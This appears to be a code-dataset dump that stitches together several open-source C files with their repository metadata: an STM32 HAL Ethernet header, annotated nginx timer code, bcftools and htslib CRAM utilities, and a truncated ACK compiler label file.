HAL_StatusTypeDef HAL_ETH_DeInit(ETH_HandleTypeDef *heth);
void HAL_ETH_MspInit(ETH_HandleTypeDef *heth);
void HAL_ETH_MspDeInit(ETH_HandleTypeDef *heth);
/* Callbacks Register/UnRegister functions ***********************************/
#if (USE_HAL_ETH_REGISTER_CALLBACKS == 1)
HAL_StatusTypeDef HAL_ETH_RegisterCallback(ETH_HandleTypeDef *heth, HAL_ETH_CallbackIDTypeDef CallbackID,
pETH_CallbackTypeDef pCallback);
HAL_StatusTypeDef HAL_ETH_UnRegisterCallback(ETH_HandleTypeDef *heth, HAL_ETH_CallbackIDTypeDef CallbackID);
#endif /* USE_HAL_ETH_REGISTER_CALLBACKS */
/**
* @}
*/
/** @addtogroup ETH_Exported_Functions_Group2
* @{
*/
/* IO operation functions *******************************************************/
HAL_StatusTypeDef HAL_ETH_Start(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_Start_IT(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_Stop(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_Stop_IT(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_ReadData(ETH_HandleTypeDef *heth, void **pAppBuff);
HAL_StatusTypeDef HAL_ETH_RegisterRxAllocateCallback(ETH_HandleTypeDef *heth,
pETH_rxAllocateCallbackTypeDef rxAllocateCallback);
HAL_StatusTypeDef HAL_ETH_UnRegisterRxAllocateCallback(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_RegisterRxLinkCallback(ETH_HandleTypeDef *heth, pETH_rxLinkCallbackTypeDef rxLinkCallback);
HAL_StatusTypeDef HAL_ETH_UnRegisterRxLinkCallback(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_GetRxDataErrorCode(ETH_HandleTypeDef *heth, uint32_t *pErrorCode);
HAL_StatusTypeDef HAL_ETH_RegisterTxFreeCallback(ETH_HandleTypeDef *heth, pETH_txFreeCallbackTypeDef txFreeCallback);
HAL_StatusTypeDef HAL_ETH_UnRegisterTxFreeCallback(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_ReleaseTxPacket(ETH_HandleTypeDef *heth);
#ifdef HAL_ETH_USE_PTP
HAL_StatusTypeDef HAL_ETH_PTP_SetConfig(ETH_HandleTypeDef *heth, ETH_PTP_ConfigTypeDef *ptpconfig);
HAL_StatusTypeDef HAL_ETH_PTP_GetConfig(ETH_HandleTypeDef *heth, ETH_PTP_ConfigTypeDef *ptpconfig);
HAL_StatusTypeDef HAL_ETH_PTP_SetTime(ETH_HandleTypeDef *heth, ETH_TimeTypeDef *time);
HAL_StatusTypeDef HAL_ETH_PTP_GetTime(ETH_HandleTypeDef *heth, ETH_TimeTypeDef *time);
HAL_StatusTypeDef HAL_ETH_PTP_AddTimeOffset(ETH_HandleTypeDef *heth, ETH_PtpUpdateTypeDef ptpoffsettype,
ETH_TimeTypeDef *timeoffset);
HAL_StatusTypeDef HAL_ETH_PTP_InsertTxTimestamp(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_PTP_GetTxTimestamp(ETH_HandleTypeDef *heth, ETH_TimeStampTypeDef *timestamp);
HAL_StatusTypeDef HAL_ETH_PTP_GetRxTimestamp(ETH_HandleTypeDef *heth, ETH_TimeStampTypeDef *timestamp);
HAL_StatusTypeDef HAL_ETH_RegisterTxPtpCallback(ETH_HandleTypeDef *heth, pETH_txPtpCallbackTypeDef txPtpCallback);
HAL_StatusTypeDef HAL_ETH_UnRegisterTxPtpCallback(ETH_HandleTypeDef *heth);
#endif /* HAL_ETH_USE_PTP */
HAL_StatusTypeDef HAL_ETH_Transmit(ETH_HandleTypeDef *heth, ETH_TxPacketConfig *pTxConfig, uint32_t Timeout);
HAL_StatusTypeDef HAL_ETH_Transmit_IT(ETH_HandleTypeDef *heth, ETH_TxPacketConfig *pTxConfig);
HAL_StatusTypeDef HAL_ETH_WritePHYRegister(const ETH_HandleTypeDef *heth, uint32_t PHYAddr, uint32_t PHYReg,
uint32_t RegValue);
HAL_StatusTypeDef HAL_ETH_ReadPHYRegister(ETH_HandleTypeDef *heth, uint32_t PHYAddr, uint32_t PHYReg,
uint32_t *pRegValue);
void HAL_ETH_IRQHandler(ETH_HandleTypeDef *heth);
void HAL_ETH_TxCpltCallback(ETH_HandleTypeDef *heth);
void HAL_ETH_RxCpltCallback(ETH_HandleTypeDef *heth);
void HAL_ETH_ErrorCallback(ETH_HandleTypeDef *heth);
void HAL_ETH_PMTCallback(ETH_HandleTypeDef *heth);
void HAL_ETH_EEECallback(ETH_HandleTypeDef *heth);
void HAL_ETH_WakeUpCallback(ETH_HandleTypeDef *heth);
void HAL_ETH_RxAllocateCallback(uint8_t **buff);
void HAL_ETH_RxLinkCallback(void **pStart, void **pEnd, uint8_t *buff, uint16_t Length);
void HAL_ETH_TxFreeCallback(uint32_t *buff);
void HAL_ETH_TxPtpCallback(uint32_t *buff, ETH_TimeStampTypeDef *timestamp);
/**
* @}
*/
/** @addtogroup ETH_Exported_Functions_Group3
* @{
*/
/* Peripheral Control functions **********************************************/
/* MAC & DMA Configuration APIs **********************************************/
HAL_StatusTypeDef HAL_ETH_GetMACConfig(ETH_HandleTypeDef *heth, ETH_MACConfigTypeDef *macconf);
HAL_StatusTypeDef HAL_ETH_GetDMAConfig(ETH_HandleTypeDef *heth, ETH_DMAConfigTypeDef *dmaconf);
HAL_StatusTypeDef HAL_ETH_SetMACConfig(ETH_HandleTypeDef *heth, ETH_MACConfigTypeDef *macconf);
HAL_StatusTypeDef HAL_ETH_SetDMAConfig(ETH_HandleTypeDef *heth, ETH_DMAConfigTypeDef *dmaconf);
void HAL_ETH_SetMDIOClockRange(ETH_HandleTypeDef *heth);
/* MAC VLAN Processing APIs ************************************************/
void HAL_ETH_SetRxVLANIdentifier(ETH_HandleTypeDef *heth, uint32_t ComparisonBits,
uint32_t VLANIdentifier);
/* MAC L2 Packet Filtering APIs **********************************************/
HAL_StatusTypeDef HAL_ETH_GetMACFilterConfig(ETH_HandleTypeDef *heth, ETH_MACFilterConfigTypeDef *pFilterConfig);
HAL_StatusTypeDef HAL_ETH_SetMACFilterConfig(ETH_HandleTypeDef *heth, const ETH_MACFilterConfigTypeDef *pFilterConfig);
HAL_StatusTypeDef HAL_ETH_SetHashTable(ETH_HandleTypeDef *heth, uint32_t *pHashTable);
HAL_StatusTypeDef HAL_ETH_SetSourceMACAddrMatch(const ETH_HandleTypeDef *heth, uint32_t AddrNbr,
const uint8_t *pMACAddr);
/* MAC Power Down APIs *****************************************************/
void HAL_ETH_EnterPowerDownMode(ETH_HandleTypeDef *heth,
const ETH_PowerDownConfigTypeDef *pPowerDownConfig);
void HAL_ETH_ExitPowerDownMode(ETH_HandleTypeDef *heth);
HAL_StatusTypeDef HAL_ETH_SetWakeUpFilter(ETH_HandleTypeDef *heth, uint32_t *pFilter, uint32_t Count);
/**
* @}
*/
/** @addtogroup ETH_Exported_Functions_Group4
* @{
*/
/* Peripheral State functions **************************************************/
HAL_ETH_StateTypeDef HAL_ETH_GetState(const ETH_HandleTypeDef *heth);
uint32_t HAL_ETH_GetError(const ETH_HandleTypeDef *heth);
uint32_t HAL_ETH_GetDMAError(const ETH_HandleTypeDef *heth);
uint32_t HAL_ETH_GetMACError(const ETH_HandleTypeDef *heth);
uint32_t HAL_ETH_GetMACWakeUpSource(const ETH_HandleTypeDef *heth);
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* ETH */
#ifdef __cplusplus
}
#endif
#endif /* STM32H5xx_HAL_ETH_H */
|
b905a90a28bab3489c0c626c0bc579a1ceac0dee
|
b1fcecfa2d9b42db62ba22f4635b3e845bf4ab56
|
/nginx/src/event/ngx_event_timer.c
|
36450bce39cf69329212ecb7496252de0c8660f6
|
[
"BSD-2-Clause"
] |
permissive
|
chronolaw/annotated_nginx
|
606b5ae08b8173daa01fcac353b089b17deff08d
|
60b0e2a15d4c7c51313bd117bab026046c3da01b
|
refs/heads/master
| 2023-06-29T09:15:23.066046
| 2023-06-17T08:35:25
| 2023-06-17T08:35:25
| 51,183,743
| 573
| 206
| null | null | null | null |
UTF-8
|
C
| false
| false
| 5,120
|
c
|
ngx_event_timer.c
|
// annotated by chrono since 2016
//
// * ngx_event_find_timer
// * ngx_event_expire_timers
/*
* Copyright (C) Igor Sysoev
* Copyright (C) Nginx, Inc.
*/
#include <ngx_config.h>
#include <ngx_core.h>
#include <ngx_event.h>
// 定时器红黑树,键值是超时时间(毫秒时间戳)
// 里面使用ngx_event_t.timer成员组织为红黑树
// timedout表示已经超时,timer_set表示已经加入定时器红黑树
ngx_rbtree_t ngx_event_timer_rbtree;
// 定时器红黑树的哨兵节点
static ngx_rbtree_node_t ngx_event_timer_sentinel;
/*
* the event timer rbtree may contain the duplicate keys, however,
* it should not be a problem, because we use the rbtree to find
* a minimum timer value only
*/
// 初始化定时器
// 实际上就是初始化一个红黑树结构
// 注意树的插入函数是ngx_rbtree_insert_timer_value
ngx_int_t
ngx_event_timer_init(ngx_log_t *log)
{
ngx_rbtree_init(&ngx_event_timer_rbtree, &ngx_event_timer_sentinel,
ngx_rbtree_insert_timer_value);
return NGX_OK;
}
// 在红黑树里查找最小值,即最左边的节点,得到超时的时间差值
// 如果时间已经超过了,那么时间差值就是0
// 意味着在红黑树里已经有事件超时了,必须立即处理
//
// timer >0 红黑树里即将超时的事件的时间
// timer <0 表示红黑树为空,即无超时事件
// timer==0意味着在红黑树里已经有事件超时了,必须立即处理
// timer==0,epoll就不会等待,收集完事件立即返回
ngx_msec_t
ngx_event_find_timer(void)
{
ngx_msec_int_t timer;
ngx_rbtree_node_t *node, *root, *sentinel;
// 红黑树是空的,没有任何定时事件
if (ngx_event_timer_rbtree.root == &ngx_event_timer_sentinel) {
return NGX_TIMER_INFINITE;
}
// 获取定时器红黑树的根和哨兵
root = ngx_event_timer_rbtree.root;
sentinel = ngx_event_timer_rbtree.sentinel;
// 取最小节点
node = ngx_rbtree_min(root, sentinel);
// 减去当前时间戳,获得时间差值
timer = (ngx_msec_int_t) (node->key - ngx_current_msec);
// 如果时间已经超过了,那么时间差值就是0
// 意味着在红黑树里已经有事件超时了,必须立即处理
return (ngx_msec_t) (timer > 0 ? timer : 0);
}
// 遍历定时器红黑树,找出所有过期的事件,调用handler处理超时
void
ngx_event_expire_timers(void)
{
ngx_event_t *ev;
ngx_rbtree_node_t *node, *root, *sentinel;
// 红黑树的哨兵
sentinel = ngx_event_timer_rbtree.sentinel;
for ( ;; ) {
// 红黑树的根
root = ngx_event_timer_rbtree.root;
// 红黑树已经空
if (root == sentinel) {
return;
}
// 取红黑树的最小节点
node = ngx_rbtree_min(root, sentinel);
/* node->key > ngx_current_msec */
// 与当前时间进行比较,>0即还没有超时
// 没有了超时事件,循环退出
if ((ngx_msec_int_t) (node->key - ngx_current_msec) > 0) {
return;
}
// 此事件已经超时
// 通过offsetof获得事件对象
ev = ngx_rbtree_data(node, ngx_event_t, timer);
ngx_log_debug2(NGX_LOG_DEBUG_EVENT, ev->log, 0,
"event timer del: %d: %M",
ngx_event_ident(ev->data), ev->timer.key);
// 事件从红黑树里移除
ngx_rbtree_delete(&ngx_event_timer_rbtree, &ev->timer);
#if (NGX_DEBUG)
ev->timer.left = NULL;
ev->timer.right = NULL;
ev->timer.parent = NULL;
#endif
// 定时器标志清零
ev->timer_set = 0;
// 设置超时标志
ev->timedout = 1;
// 调用事件的handler,里面检查timedout标志处理超时
ev->handler(ev);
}
}
// 取消定时器,调用handler处理
// 在1.11.11此函数已经删除
// 改为ngx_event_no_timers_left()
//void
//ngx_event_cancel_timers(void)
// 检查红黑树里是否还有定时器
ngx_int_t
ngx_event_no_timers_left(void)
{
ngx_event_t *ev;
ngx_rbtree_node_t *node, *root, *sentinel;
// 红黑树的哨兵
sentinel = ngx_event_timer_rbtree.sentinel;
// 红黑树的根
root = ngx_event_timer_rbtree.root;
// 红黑树已经空
if (root == sentinel) {
return NGX_OK;
}
// 取红黑树的最小节点
// 开始顺序遍历红黑树
for (node = ngx_rbtree_min(root, sentinel);
node;
// 注意调用了红黑树的next函数,正序遍历
node = ngx_rbtree_next(&ngx_event_timer_rbtree, node))
{
// 通过offsetof获得事件对象
ev = ngx_rbtree_data(node, ngx_event_t, timer);
// 事件不能被取消
// 找到了一个定时器事件,即还有定时器
if (!ev->cancelable) {
return NGX_AGAIN;
}
}
/* only cancelable timers left */
// 红黑树里都是可以取消的定时器,即无需要等待的事件
return NGX_OK;
}
|
f7141233af6d127fdd087f801eeb3e49d62568a3
|
3af20bd2579a5e59b4a96f42298437f41c96aa67
|
/bcftools.h
|
9d2de063af83f1f52d6cd7efed1c5d35d6bada55
|
[
"Apache-2.0"
] |
permissive
|
statgen/demuxlet
|
6856ebaebef020a78160e94242cefbe35f0c7e16
|
f5044eb9ed5c6678aa3a80a8f2be7db7748ee732
|
refs/heads/master
| 2021-06-21T15:22:46.242090
| 2021-02-11T08:34:59
| 2021-02-11T08:34:59
| 94,056,305
| 102
| 27
|
Apache-2.0
| 2021-02-11T08:35:00
| 2017-06-12T04:47:41
|
C++
|
UTF-8
|
C
| false
| false
| 3,487
|
h
|
bcftools.h
|
/* bcftools.h -- utility function declarations.
Copyright (C) 2013 Genome Research Ltd.
Author: Petr Danecek <pd3@sanger.ac.uk>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE. */
#ifndef BCFTOOLS_H
#define BCFTOOLS_H
#include <stdarg.h>
#include <math.h>
extern "C" {
#include "htslib/hts_defs.h"
#include "htslib/vcf.h"
}
#define FT_TAB_TEXT 0 // custom tab-delimited text file
#define FT_GZ 1
#define FT_VCF 2
#define FT_VCF_GZ (FT_GZ|FT_VCF)
#define FT_BCF (1<<2)
#define FT_BCF_GZ (FT_GZ|FT_BCF)
#define FT_STDIN (1<<3)
char *bcftools_version(void);
/// Report an error and exit -1
void error(const char *format, ...) HTS_NORETURN HTS_FORMAT(HTS_PRINTF_FMT, 1, 2);
/// Report an error and exit -1. If errno != 0, appends strerror(errno).
// Note: unlike error() above, the message should not end with "\n" as a
// newline will be added by the function.
void error_errno(const char *format, ...) HTS_NORETURN HTS_FORMAT(HTS_PRINTF_FMT, 1, 2);
void bcf_hdr_append_version(bcf_hdr_t *hdr, int argc, char **argv, const char *cmd);
const char *hts_bcf_wmode(int file_type);
void *smalloc(size_t size); // safe malloc
static inline char gt2iupac(char a, char b)
{
static const char iupac[4][4] = { {'A','M','R','W'},{'M','C','S','Y'},{'R','S','G','K'},{'W','Y','K','T'} };
if ( a>='a' ) a -= 'a' - 'A';
if ( b>='a' ) b -= 'a' - 'A';
if ( a=='A' ) a = 0;
else if ( a=='C' ) a = 1;
else if ( a=='G' ) a = 2;
else if ( a=='T' ) a = 3;
else return 'N';
if ( b=='A' ) b = 0;
else if ( b=='C' ) b = 1;
else if ( b=='G' ) b = 2;
else if ( b=='T' ) b = 3;
else return 'N';
return iupac[(int)a][(int)b];
}
static inline int iupac_consistent(char iupac, char nt)
{
static const char iupac_mask[90] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,14,2,
13,0,0,4,11,0,0,12,0,3,15,0,0,0,5,6,8,0,7,9,0,10
};
if ( iupac > 89 ) return 0;
if ( nt > 90 ) nt -= 32; // lowercase
if ( nt=='A' ) nt = 1;
else if ( nt=='C' ) nt = 2;
else if ( nt=='G' ) nt = 4;
else if ( nt=='T' ) nt = 8;
return iupac_mask[(int)iupac] & nt ? 1 : 0;
}
static inline char nt_to_upper(char nt)
{
if ( nt < 97 ) return nt;
return nt - 32;
}
static inline double phred_score(double prob)
{
if ( prob==0 ) return 99;
prob = -4.3429*log(prob);
return prob>99 ? 99 : prob;
}
#endif
|
0d4f71a326e50a3ae6fe43c54f3033df73118303
|
2e28c1eca20462ac36a801377364cf7f28454a07
|
/ext/htslib/cram/cram_external.c
|
be1dc7b2694045cb3cd33c0eb41cc676430d114a
|
[
"BSD-3-Clause",
"MIT",
"BSD-2-Clause"
] |
permissive
|
pachterlab/kallisto
|
0fbe2a0058eca81d07cb968d6af6c662b9bea48b
|
ff32921dbeb4f9853984a88c1c7534562e256d7a
|
refs/heads/master
| 2023-09-01T13:00:40.473948
| 2023-07-02T01:41:55
| 2023-07-02T01:41:55
| 26,562,905
| 605
| 207
|
BSD-2-Clause
| 2023-08-27T09:13:53
| 2014-11-13T00:27:48
|
C
|
UTF-8
|
C
| false
| false
| 12,890
|
c
|
cram_external.c
|
/*
Copyright (c) 2015 Genome Research Ltd.
Author: James Bonfield <jkb@sanger.ac.uk>
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the names Genome Research Ltd and Wellcome Trust Sanger
Institute nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY GENOME RESEARCH LTD AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL GENOME RESEARCH LTD OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*! \file
* External CRAM interface.
*
* Internally we're happy to use macros and to grub around in the cram
* structures. This isn't very sustainable for an externally usable
* ABI though, so we have anonymous structs and accessor functions too
* to permit software such as samtools reheader to manipulate cram
* containers and blocks in a robust manner.
*/
#include <config.h>
#include "htslib/hfile.h"
#include "cram/cram.h"
/*
*-----------------------------------------------------------------------------
* cram_fd
*/
SAM_hdr *cram_fd_get_header(cram_fd *fd) { return fd->header; }
void cram_fd_set_header(cram_fd *fd, SAM_hdr *hdr) { fd->header = hdr; }
int cram_fd_get_version(cram_fd *fd) { return fd->version; }
void cram_fd_set_version(cram_fd *fd, int vers) { fd->version = vers; }
int cram_major_vers(cram_fd *fd) { return CRAM_MAJOR_VERS(fd->version); }
int cram_minor_vers(cram_fd *fd) { return CRAM_MINOR_VERS(fd->version); }
hFILE *cram_fd_get_fp(cram_fd *fd) { return fd->fp; }
void cram_fd_set_fp(cram_fd *fd, hFILE *fp) { fd->fp = fp; }
/*
*-----------------------------------------------------------------------------
* cram_container
*/
int32_t cram_container_get_length(cram_container *c) {
return c->length;
}
void cram_container_set_length(cram_container *c, int32_t length) {
c->length = length;
}
int32_t cram_container_get_num_blocks(cram_container *c) {
return c->num_blocks;
}
void cram_container_set_num_blocks(cram_container *c, int32_t num_blocks) {
c->num_blocks = num_blocks;
}
/* Returns the landmarks[] array and the number of elements
* in num_landmarks.
*/
int32_t *cram_container_get_landmarks(cram_container *c, int32_t *num_landmarks) {
*num_landmarks = c->num_landmarks;
return c->landmark;
}
/* Sets the landmarks[] array (pointer copy, not a memory dup) and
* num_landmarks value.
*/
void cram_container_set_landmarks(cram_container *c, int32_t num_landmarks,
int32_t *landmarks) {
c->num_landmarks = num_landmarks;
c->landmark = landmarks;
}
/* Returns true if the container is empty (EOF marker) */
int cram_container_is_empty(cram_fd *fd) {
return fd->empty_container;
}
/*
*-----------------------------------------------------------------------------
* cram_block_compression_hdr
*/
/*
* Utility function to edit an RG id.
* This is only possible if there is one single RG value used and it
* is in the container compression header using HUFFMAN or BETA
* codec. In this case it is essentially hard coded and needs no
* editing of external (or worse, CORE) blocks.
*
* Returns 0 on success
* -1 on failure
*/
// Or arbitrary set compression header constant?
static int cram_block_compression_hdr_set_DS(cram_block_compression_hdr *ch,
int ds, int new_rg) {
if (!ch || !ch->codecs[ds])
return -1;
switch (ch->codecs[ds]->codec) {
case E_HUFFMAN:
if (ch->codecs[ds]->huffman.ncodes != 1)
return -1;
ch->codecs[ds]->huffman.codes[0].symbol = new_rg;
return 0;
case E_BETA:
if (ch->codecs[ds]->beta.nbits != 0)
return -1;
ch->codecs[ds]->beta.offset = -new_rg;
return 0;
default:
return -1;
}
return 0;
}
int cram_block_compression_hdr_set_rg(cram_block_compression_hdr *ch, int new_rg) {
return cram_block_compression_hdr_set_DS(ch, DS_RG, new_rg);
}
/*
* Converts a cram_block_compression_hdr struct used for decoding to
* one used for encoding. Maybe this should be a transparent
* operation applied on-demand.
*
* Returns 0 on success
* -1 on failure
*/
int cram_block_compression_hdr_decoder2encoder(cram_fd *fd,
cram_block_compression_hdr *ch) {
int i;
if (!ch)
return -1;
for (i = 0; i < DS_END; i++) {
cram_codec *co = ch->codecs[i];
if (!co)
continue;
if (-1 == cram_codec_decoder2encoder(fd, co))
return -1;
}
return 0;
}
/*
*-----------------------------------------------------------------------------
* cram_slice
*/
int32_t cram_slice_hdr_get_num_blocks(cram_block_slice_hdr *hdr) {
return hdr->num_blocks;
}
/*
*-----------------------------------------------------------------------------
* cram_block
*/
int32_t cram_block_get_content_id(cram_block *b) { return b->content_id; }
int32_t cram_block_get_comp_size(cram_block *b) { return b->comp_size; }
int32_t cram_block_get_uncomp_size(cram_block *b) { return b->uncomp_size; }
int32_t cram_block_get_crc32(cram_block *b) { return b->crc32; }
void * cram_block_get_data(cram_block *b) { return BLOCK_DATA(b); }
int32_t cram_block_get_size(cram_block *b) { return BLOCK_SIZE(b); }
enum cram_content_type cram_block_get_content_type(cram_block *b) {
return b->content_type;
}
void cram_block_set_content_id(cram_block *b, int32_t id) { b->content_id = id; }
void cram_block_set_comp_size(cram_block *b, int32_t size) { b->comp_size = size; }
void cram_block_set_uncomp_size(cram_block *b, int32_t size) { b->uncomp_size = size; }
void cram_block_set_crc32(cram_block *b, int32_t crc) { b->crc32 = crc; }
void cram_block_set_data(cram_block *b, void *data) { BLOCK_DATA(b) = data; }
void cram_block_set_size(cram_block *b, int32_t size) { BLOCK_SIZE(b) = size; }
int cram_block_append(cram_block *b, void *data, int size) {
BLOCK_APPEND(b, data, size);
return BLOCK_DATA(b) ? 0 : -1; // It'll do for now...
}
void cram_block_update_size(cram_block *b) { BLOCK_UPLEN(b); }
// Offset is known as "size" internally, but it can be confusing.
size_t cram_block_get_offset(cram_block *b) { return BLOCK_SIZE(b); }
void cram_block_set_offset(cram_block *b, size_t offset) { BLOCK_SIZE(b) = offset; }
/*
* Copies the blocks representing the next num_slice slices from a
* container from 'in' to 'out'. It is expected that the file pointer
* is just after the read of the cram_container and cram compression
* header.
*
* Returns 0 on success
* -1 on failure
*/
int cram_copy_slice(cram_fd *in, cram_fd *out, int32_t num_slice) {
int32_t i, j;
for (i = 0; i < num_slice; i++) {
cram_block *blk;
cram_block_slice_hdr *hdr;
if (!(blk = cram_read_block(in)))
return -1;
if (!(hdr = cram_decode_slice_header(in, blk))) {
cram_free_block(blk);
return -1;
}
if (cram_write_block(out, blk) != 0) {
cram_free_block(blk);
return -1;
}
cram_free_block(blk);
int num_blocks = cram_slice_hdr_get_num_blocks(hdr);
for (j = 0; j < num_blocks; j++) {
blk = cram_read_block(in);
if (!blk || cram_write_block(out, blk) != 0) {
if (blk) cram_free_block(blk);
return -1;
}
cram_free_block(blk);
}
cram_free_slice_header(hdr);
}
return 0;
}
/*
* Renumbers RG numbers in a cram compression header.
*
* CRAM stores RG as the Nth number in the header, rather than a
* string holding the ID: tag. This is smaller in space, but means
* "samtools cat" to join files together that contain single but
* different RG lines needs a way of renumbering them.
*
* The file descriptor is expected to be immediately after the
* cram_container structure (ie before the cram compression header).
* Due to the nature of the CRAM format, this needs to read and write
* the blocks itself. Note that there may be multiple slices within
* the container, meaning multiple compression headers to manipulate.
* Changing RG may change the size of the compression header and
* therefore the length field in the container. Hence we rewrite all
* blocks just incase and also emit the adjusted container.
*
* The current implementation can only cope with renumbering a single
* RG (and only then if it is using HUFFMAN or BETA codecs). In
* theory it *may* be possible to renumber multiple RGs if they use
* HUFFMAN to the CORE block or use an external block unshared by any
* other data series. So we have an API that can be upgraded to
* support this, but do not implement it for now. An example
* implementation of RG as an EXTERNAL block would be to find that
* block and rewrite it, returning the number of blocks consumed.
*
* Returns 0 on success;
* -1 if unable to edit;
* -2 on other errors (eg I/O).
*/
int cram_transcode_rg(cram_fd *in, cram_fd *out,
cram_container *c,
int nrg, int *in_rg, int *out_rg) {
int new_rg = *out_rg, old_size, new_size;
cram_block *o_blk, *n_blk;
cram_block_compression_hdr *ch;
if (nrg != 1) {
fprintf(stderr, "[%s] ERROR: not implemented for nrg != 1\n",
__func__);
return -2;
}
// Produce a new block holding the updated compression header,
// with RG transcoded to a new value. (Single only supported.)
o_blk = cram_read_block(in);
old_size = cram_block_size(o_blk);
ch = cram_decode_compression_header(in, o_blk);
if (cram_block_compression_hdr_set_rg(ch, new_rg) != 0)
return -1;
cram_block_compression_hdr_decoder2encoder(in, ch);
n_blk = cram_encode_compression_header(in, c, ch);
cram_free_compression_header(ch);
/*
* Warning: this has internal knowledge of the cram compression
* header format.
*
* The decoder doesn't set c->tags_used, so the encoder puts a two
* byte blank segment. This means n_blk is too short. We skip
* through the decoded old block (o_blk) and copy from there.
*/
char *cp = cram_block_get_data(o_blk);
char *op = cp;
char *endp = cp + cram_block_get_uncomp_size(o_blk);
//fprintf(stderr, "sz = %d\n", (int)(endp-cp));
int32_t i32;
cp += safe_itf8_get(cp, endp, &i32);
cp += i32;
cp += safe_itf8_get(cp, endp, &i32);
cp += i32;
op = cp;
cp += safe_itf8_get(cp, endp, &i32);
i32 += (cp-op);
//fprintf(stderr, "remaining %d bytes\n", i32);
cram_block_set_size(n_blk, cram_block_get_size(n_blk)-2);
cram_block_append(n_blk, op, i32);
cram_block_update_size(n_blk);
new_size = cram_block_size(n_blk);
//fprintf(stderr, "size %d -> %d\n", old_size, new_size);
// Now we've constructedthe updated compression header,
// amend the container too (it may have changed size).
int32_t *landmarks, num_landmarks;
landmarks = cram_container_get_landmarks(c, &num_landmarks);
if (old_size != new_size) {
int diff = new_size - old_size, j;
for (j = 0; j < num_landmarks; j++)
landmarks[j] += diff;
//cram_container_set_landmarks(c, num_landmarks, landmarks);
cram_container_set_length(c, cram_container_get_length(c) + diff);
}
// Finally write it all out; container, compression header,
// and then all the remaining slice blocks.
if (cram_write_container(out, c) != 0)
return -2;
cram_write_block(out, n_blk);
cram_free_block(o_blk);
cram_free_block(n_blk);
// Container num_blocks can be invalid, due to a bug.
// Instead we iterate in slice context instead.
return cram_copy_slice(in, out, num_landmarks);
}
/*!
* Returns the refs_t structure used by a cram file handle.
*
* This may be used in conjunction with option CRAM_OPT_SHARED_REF to
* share reference memory between multiple file handles.
*
* @return
* Returns NULL if none exists or the file handle is not a CRAM file.
*/
refs_t *cram_get_refs(htsFile *fd) {
return fd->format.format == cram
? fd->fp.cram->refs
: NULL;
}
|
f2c9720ce33c004e340e2d4df3c70bca8a1dafff
|
d61b532db0d3e08818338cfaac530a1ced1ffe3b
|
/util/ceg/ce_back/obj_back/label.c
|
19737749a29cca50d428793d5c915acb3616d83c
|
[
"LicenseRef-scancode-other-permissive"
] |
permissive
|
davidgiven/ack
|
61049c7a8e95ff61a77b1edd3c22bb290720e276
|
db5a32c68c4a60ca26a3927a799ea662b5b2b0e5
|
refs/heads/default
| 2023-08-29T07:33:12.771205
| 2023-07-08T20:17:27
| 2023-07-08T20:17:27
| 37,686,316
| 376
| 74
|
NOASSERTION
| 2023-07-08T20:17:28
| 2015-06-18T21:33:42
|
C
|
UTF-8
|
C
| false
| false
| 621
|
c
|
label.c
|
#include <out.h>
#include "header.h"
#include "back.h"
int Label, Label_waiting;
save_label( lab)
char *lab;
/* It is now not possible to tell where the label belongs to, so store
* the string and remember the returned index to store the missing
* information later on (see dump_label()). Two labels at one address
* is not allowed.
*/
{
Label = find_sym( lab, SYMBOL_DEFINITION);
Label_waiting = 1;
}
dump_label()
{
if ( Label_waiting) {
align_word();
symbol_table[ Label].on_valu = cur_value();
